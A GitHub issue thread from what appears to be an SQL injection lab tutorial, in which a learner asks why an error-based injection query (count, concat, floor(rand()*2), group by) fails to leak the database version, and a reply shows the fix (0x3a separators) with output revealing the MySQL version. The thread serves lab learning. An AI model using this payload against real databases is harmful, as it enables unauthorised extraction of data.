Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Group by clause not throwing expected output. #13

Open
SetupaccSid opened this issue Nov 20, 2017 · 1 comment
Open

Group by clause not throwing expected output. #13

SetupaccSid opened this issue Nov 20, 2017 · 1 comment

Comments

@SetupaccSid
Copy link

SetupaccSid commented Nov 20, 2017

Hi All,
While learning from video 6 i understood that the rand function should be producing errors which would be providing us information about underlying database But when i am using group by clause as provided in the sqli tutorial i am not getting the expected output as audi had in the video.
Now my question's are , is this behavior because of Mysql version i am using ? has there been any change in the working of group by clause ? and What shall i do to resolve this issue and get an error as shown in the video tutorial ?

I am adding a snip of my terminal below.
I am using Bitnami's xampp version 5.6.31 for the lab and from the below snip you could understand the version of database in use.

MariaDB [security]> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()2)) a from information_schema.tables group by a;
+----------+--------------------------+
| count(
) | a |
+----------+--------------------------+
| 97 | : :10.1.25-MariaDB : :0 |
| 91 | : :10.1.25-MariaDB : :1 |
+----------+--------------------------+
2 rows in set (0.01 sec)

MariaDB [security]> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()*2)) a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '' for key 'group_key'

This error does not show me any Duplicate entry .
If you remember video the version would be in the quotes after Duplicate entry.

Please provide your valuable response if anyone has faced similar issue. I am in need of someone who could give me an understanding or point out the direction where i can get the understanding am lacking right now.

@ldqsmile
Copy link

ldqsmile commented Apr 1, 2018

I don't know why but it's ok when use '0x3a' or other instead of '0x03a' .

mysql> select count(*),concat (0x03a,0x03a,(select version()),0x03a,0x03a, floor(rand()*2)) a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '' for key '<group_key>'

mysql> select count(*),concat (0x3a,0x3a,(select version()),0x3a,0x3a, floor(rand()*2)) a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '::5.7.21-0ubuntu0.16.04.1::0' for key '<group_key>'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants